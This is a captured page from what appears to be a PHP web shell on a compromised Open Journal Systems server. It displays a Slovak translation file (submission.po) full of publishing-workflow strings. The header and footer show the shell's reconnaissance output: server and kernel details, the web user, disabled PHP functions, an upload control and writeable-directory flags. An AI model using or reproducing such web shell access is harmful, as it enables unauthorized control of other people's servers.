KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/sk_SK/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/sk_SK/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-11-13 12:51+0000\n"
"Last-Translator: Tomáš Blaho <[email protected]>\n"
"Language-Team: Slovak <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"sk_SK/>\n"
"Language: sk_SK\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "publication.selectIssue"
msgstr "K naplánovaniu publikovania je potrebné zvoliť číslo"

msgid "publication.scheduleInissue"
msgstr "Priradiť do čísla"

msgid "publication.unscheduledIn"
msgstr "Pre túto položku nebolo doteraz naplánované publikovanie v čísle."

msgid "publication.scheduledIn"
msgstr "Naplánované zverejnenie v <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Publikované v <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr "Pred zverejnením musí byť publikácia priradená k číslu."

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Všetky požiadavky pre publikovanie boli splnené. Položka bude publikovaná "
"okamžite, pretože dátum publikovania bol nastavený na {$datePublished}. Ste "
"si istý, že má byť položka publikovaná?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Všetky požiadavky na zverejnenie boli splnené. Toto bude okamžite zverejnené "
"v {$issue}. Naozaj si prajete publikovať?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Všetky požiadavky na zverejnenie boli splnené. Pri publikovaní bude "
"zverejnené: {$issue}. Naozaj si prajete naplánovať zverejnenie?"

msgid "publication.publish.confirmation"
msgstr ""
"Všetky požiadavky na zverejnenie boli splnené. Naozaj si prajete publikovať?"

msgid "publication.issue.success"
msgstr "Podrobnosti o probléme publikácií boli aktualizované."

msgid "publication.invalidIssue"
msgstr "Problém pre túto publikáciu nebol nájdený."

msgid "publication.invalidSection"
msgstr "Sekcia pre túto publikáciu nebola nájdená."

msgid "publication.datePublished.description"
msgstr ""
"Dátum vydania bude stanovené automaticky pri zverejnení čísla. Nezadávajte "
"dátum publikácie, kým nebol článok skôr publikovaný inde a potrebujete ho "
"antedatovať."

msgid "galley.publicationNotFound"
msgstr "Publikácia pre túto sadzobnicu nebola nájdená."

msgid "galley.editPublishedDisabled"
msgstr ""
"Sadzobnice tejto publikáce sa nedajú upravovať, pretože už boli publikované."

msgid "catalog.category.heading"
msgstr "Všetky položky"

msgid "catalog.browseTitles"
msgstr "{$numTitles} položiek"

msgid "submission.sectionOptions"
msgstr "Možnosti sekcie"

msgid "section.any"
msgstr "Ľubovoľná sekcia"

msgid "submission.metadataDescription"
msgstr ""
"Tieto špecifikácie vychádzajú z množiny metadát Dublin Core, čo je "
"mezinárodný štandard používaný k popisu obsahu časopisu."

msgid "submission.citationFormat.notFound"
msgstr "Požadovaný citačný formát sa nedá načítať."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Zvoľte, prosím, rolu autora."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Váš abstrakt je príliš dlhý. Skráťte ho, prosím na počet slov podľa limitu "
"stanoveného pre túto sekciu."

msgid "submission.submit.form.abstractRequired"
msgstr "Vložte, prosím, abstrakt vášho článku."

msgid "submission.submit.form.titleRequired"
msgstr "Vložte, prosím, názov vášho článku."

msgid "submission.submit.form.authorRequiredFields"
msgstr ""
"Krstné meno, priezvisko a emailová adresa sú vyžadované pre každého autora."

msgid "submission.submit.form.authorRequired"
msgstr "Je vyžadovaný minimálne jeden autor."

msgid "submission.submit.contributorRole"
msgstr "Rola autora"

msgid "submission.submit.privacyStatement"
msgstr "Prehlásenie o ochrane súkromia"

msgid "submission.submit.submissionChecklistDescription"
msgstr ""
"Pred pokračovaním musíte prečítať a potvrdiť, že ste splnili nižšie uvedené "
"požiadavky."

msgid "submission.submit.submissionChecklist"
msgstr "Kontrolný zoznam pre príspevok"

msgid "submission.submit.form.localeRequired"
msgstr "Vyberte, prosím, jazyk príspevku."

msgid "submission.incomplete"
msgstr "Čaká na schválenie"

msgid "submission.complete"
msgstr "Schválené"

msgid "submission.upload.fileContents"
msgstr "Komponenty článku"

msgid "submission.event.issueMetadataUpdated"
msgstr "Metadáta príspevku boli aktualizované."

msgid "editor.submission.decision.sendExternalReview"
msgstr "Odoslať na recenziu"

msgid "workflow.review.externalReview"
msgstr "Recenzia"

msgid "submission.confirmSubmit"
msgstr "Ste si istý, že chcete odoslať tento článok do časopisu?"

msgid "submission.pageProofs"
msgstr "Korektúry"

msgid "submission.submit.upload.description"
msgstr ""
"Nahrajte súbory spojené s týmto príspevkom, vrátane článku, multimédií, "
"dátových sád, kresieb atď."

msgid "submission.submit.titleAndSummary"
msgstr "Názov a abstrakt"

msgid "grid.action.pageProofApproved"
msgstr "Korektúra bola schválená pre vloženie do sadzobnice."

msgid "grid.action.approveProof"
msgstr "Schváliť túto korektúru pre vloženie do sadzobnice."

msgid "submission.proofReadingDescription"
msgstr ""
"Editor layoutu sem načíta súbory pripravené k publikovaniu. Pomocou <em> "
"Priradiť audítora </em> určíte autorov a ďalších, aby spravili korektúru "
"sadzobnice, a opravené súbory nahrali k schváleniu pred publikáciou."

msgid "submission.galleyFiles"
msgstr "Súbory sadzobnice"

msgid "grid.action.availableArticleGalley"
msgstr "Sprístupniť túto sadzobnicu"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Táto sadzobnica <em>bude dostupná čitateľom</em>.</p>"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>Táto sadzobnica <em>už nebude dostupná čitateľom</em>.</p>"

msgid "grid.issueEntry.availableGalley.title"
msgstr "Schválenie formátu"

msgid "submission.event.publicIdentifiers"
msgstr "Verejné identifikátory príspevku boli aktualizované."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Sadzobnica článku \"{$galleyFormatName}\" bola zneprístupnená."

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Sadzobnica článku \"{$galleyFormatName}\" bola sprístupnená."

msgid "grid.action.issueEntry"
msgstr "Prezrite si metadáta príspevku"

msgid "grid.action.galleyInIssueEntry"
msgstr "Vo vstupe do čísla je sadzobnica"

msgid "submission.submit.whatNext.description"
msgstr ""
"Redakcia časopisu bola informovaná o vašom príspevku a bol vám zaslaný email "
"s potvrdením o vašom príspevku. Akonáhle redaktor skontroluje príspevok, "
"bude vás kontaktovať."

msgid "submission.issueEntry"
msgstr "Metadáta"

msgid "submission.submit.noContext"
msgstr "Časopis tohoto príspevku nebol nájdený."

msgid "submission.abstract.wordCount.description"
msgstr "Abstrakt musí obsahovať maximálne {$wordCount} slov."

msgid "grid.action.workflow"
msgstr "Workflow príspevku"

msgid "submission.submit.newSubmissionSingle"
msgstr "Nový príspevok"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Začať nový príspevok v"

msgid "submission.title.tip"
msgstr ""
"Typ odesielania je obvykle jeden z nasledujúcich 'obrázok', 'text' alebo iný "
"multimediálny typ, vrátane 'software' alebo 'interaktívny'. Zvoľte prosím "
"ten, ktorý je pre váš príspevok najrelevantnejší. Príklady nájdete na adrese "
"<a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/"
"usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/"
"usageguide/generic.shtml#type</a>"

msgid "submission.title"
msgstr "Názov článku"

msgid "submission.upload.selectComponent"
msgstr "Zvoľte komponent článku"

msgid "submission.submit.userGroupDescription"
msgstr "Zvoľte rolu, pod ktorou odosielate tento článok."

msgid "submission.submit.userGroup"
msgstr "Vložiť v rámci mojej nasledujúcej role..."

msgid "submission.submit.title"
msgstr "Odoslať článok"

msgid "submission.viewingPreview"
msgstr ""
"Toto je náhľad – doteraz nebol publikovaný.  <a href=\"{$url}\">Zobraziť "
"príspevok</a>"

KUNTUL | JINGKONTOT |